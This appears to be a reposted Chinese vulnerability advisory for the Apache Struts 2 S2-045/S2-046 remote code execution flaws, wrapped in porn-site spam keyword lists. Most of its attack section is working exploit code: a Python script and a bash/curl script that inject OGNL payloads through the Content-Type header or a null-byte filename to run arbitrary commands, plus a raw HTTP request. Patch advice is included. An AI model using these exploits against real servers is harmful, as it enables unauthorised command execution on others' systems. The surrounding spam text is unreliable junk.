日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當(dāng)前位置: 首頁 > 运维知识 > linux >内容正文

linux

linux struts2漏洞,重大漏洞预警:Struts 2 远程代码执行漏洞(s2-045\s2-046) (含PoC)

發(fā)布時(shí)間:2024/10/12 linux 37 豆豆
生活随笔 收集整理的這篇文章主要介紹了 linux struts2漏洞,重大漏洞预警:Struts 2 远程代码执行漏洞(s2-045\s2-046) (含PoC) 小編覺得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.

背景介紹

近日,安全研究人員發(fā)現(xiàn)著名J2EE框架——Struts2存在遠(yuǎn)程代碼執(zhí)行的漏洞,Struts2官方已經(jīng)確認(rèn)該漏洞(S2-045,S2-046),并定級為高危漏洞。

Struts2?的使用范圍及其廣泛,國內(nèi)外均有大量廠商使用該框架。

Struts2是一個(gè)基于MVC設(shè)計(jì)模式的Web應(yīng)用框架,它本質(zhì)上相當(dāng)于一個(gè)servlet,在MVC設(shè)計(jì)模式中,Struts2作為控制器(Controller)來建立模型與視圖的數(shù)據(jù)交互。Struts 2是Struts的下一代產(chǎn)品,是在 struts 1和WebWork的技術(shù)基礎(chǔ)上進(jìn)行了合并的全新的Struts 2框架。(來源:百度百科)

漏洞描述

使用Jakarta插件處理文件上傳操作時(shí)可能導(dǎo)致遠(yuǎn)程代碼執(zhí)行漏洞。

S2-045漏洞影響

攻擊者可以通過構(gòu)造HTTP請求頭中的Content-Type值可能造成遠(yuǎn)程代碼執(zhí)行。

#!?/usr/bin/env?python

#?encoding:utf-8

import?urllib2

import?sys

from?poster.encode?import?multipart_encode

from?poster.streaminghttp?import?register_openers

def?poc():

register_openers()

datagen,?header?=?multipart_encode({"image1":?open("tmp.txt",?"rb")})

header["User-Agent"]="Mozilla/5.0?(Macintosh;?Intel?Mac?OS?X?10_12_3)?AppleWebKit/537.36?(KHTML,?like?Gecko)?Chrome/56.0.2924.87?Safari/537.36"

header["Content-Type"]="%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ifconfig').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new?java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"

request?=?urllib2.Request(str(sys.argv[1]),datagen,headers=header)

response?=?urllib2.urlopen(request)

print?response.read()

poc()

S2-046漏洞影響(更新)

觸發(fā)條件

上傳文件的大小(由Content-Length頭指定)大于Struts2允許的最大大小(2GB)。

header中的Content-Disposition中包含空字節(jié)。

文件名內(nèi)容構(gòu)造惡意的OGNL內(nèi)容。

POST?/doUpload.action?HTTP/1.1

Host:?localhost:8080

Content-Length:?10000000

Content-Type:?multipart/form-data;?boundary=----WebKitFormBoundaryAnmUgTEhFhOZpr9z

Connection:?close

------WebKitFormBoundaryAnmUgTEhFhOZpr9z

Content-Disposition:?form-data;?name="upload";?filename="%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Test','Kaboom')}"

Content-Type:?text/plain

Kaboom

------WebKitFormBoundaryAnmUgTEhFhOZpr9z--

#!/bin/bash

url=$1

cmd=$2

shift

shift

boundary="---------------------------735323031399963166993862150"

content_type="multipart/form-data;?boundary=$boundary"

payload=$(echo?"%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='"$cmd"').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new?java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}")

printf?--?"--$boundary\r\nContent-Disposition:?form-data;?name=\"foo\";?filename=\"%s\0b\"\r\nContent-Type:?text/plain\r\n\r\nx\r\n--$boundary--\r\n\r\n"?"$payload"?|?curl?"$url"?-H?"Content-Type:?$content_type"?-H?"Expect:?"?-H?"Connection:?close"?--data-binary?@-?$@

驗(yàn)證截圖

修復(fù)建議

1. 嚴(yán)格過濾?Content-Type?、filename里的內(nèi)容,嚴(yán)禁ognl表達(dá)式相關(guān)字段。

2. 如果您使用基于Jakarta插件,請升級到Apache Struts 2.3.32或2.5.10.1版本。(強(qiáng)烈推薦)

官網(wǎng)公告

補(bǔ)丁地址

參考

文章來源:安全客

總結(jié)

以上是生活随笔為你收集整理的linux struts2漏洞,重大漏洞预警:Struts 2 远程代码执行漏洞(s2-045\s2-046) (含PoC)的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯(cuò),歡迎將生活随笔推薦給好友。

主站蜘蛛池模板: 91免费观看视频 | 国产在线小视频 | 国产欧美一区二区三区视频在线观看 | 992tv成人免费视频 | 国产孕妇孕交大片孕 | 在线观看国产视频 | av天天看| 闫嫩的18sex少妇hd | 综合另类 | 一本一道波多野结衣一区二区 | 国产成年人 | 欧美日韩成人免费 | 国产区免费 | 国产精品五区 | 欧美午夜精品一区二区三区 | 91视频三区 | 一本在线免费视频 | 国内精品嫩模av私拍在线观看 | 一区二区三区欧美日韩 | 日韩福利电影在线 | 黄色网址你懂的 | 久久免费少妇高潮久久精品99 | 国产刺激高潮av | 国产欧美日韩综合精品 | 中文天堂资源在线 | 小俊大肉大捧一进一出好爽 | 蜜桃色av| 最新国产露脸在线观看 | 亚洲靠逼 | www.xxxx欧美 | 爱草av | 久久久久久亚洲 | 久久国产精品一区二区三区 | 色呦呦免费视频 | 91成年影院 | 色哟哟网站入口 | 男人天堂网av | 成人看 | 99久久人妻无码中文字幕系列 | 久久国产精品波多野结衣 | 怡春院欧美| 日本高清视频在线播放 | 九色精品 | 97免费人妻无码视频 | 日本欧美久久久久免费播放网 | 欧美日韩精品久久久免费观看 | 成人av免费在线 | 日韩精品视频免费播放 | 国产精品人人妻人人爽人人牛 | 啊v视频在线 | www.欧美日韩 | 国产精品色在线网站 | 亚洲激情图片 | 日韩色av | 开心成人激情 | 久久久精品一区二区涩爱 | 欧美日韩电影一区 | 99精品视频免费看 | 91精品国产欧美一区二区 | 国产精品 欧美激情 | 午夜影院久久久 | 欧美国产精品一区二区三区 | 美女激情av | 中出视频在线观看 | 福利二区三区 | 中文字幕一区二区三区四区五区 | 关秀媚三级| 欧美成人午夜电影 | 国产主播av | 国产精品不卡一区 | 国产视频一区二区三 | 日韩电影中文字幕 | 欧美zozo| 久久久不卡国产精品一区二区 | 草草草在线 | 亚洲精品久久一区二区三区777 | 色偷偷网站| 中文字幕成人av | 日本黄动漫 | 国产97在线观看 | 97人人视频 | www啪啪 | 黄色长视频 | 亚洲中文在线一区 | 久草小说 | 国产精品美女www爽爽爽视频 | 亚洲第一激情 | 欧美一级性 | 伊人资源网 | 亚洲综合第一页 | av影片在线看| 狂野欧美性猛交xxxx | 国产精品美女久久久久 | 99视频免费在线观看 | 免费看黄色a级片 | 亚洲一区二区三区麻豆 | 欧美中文字幕在线视频 | 丰满熟妇乱又伦 | 日本在线观看www |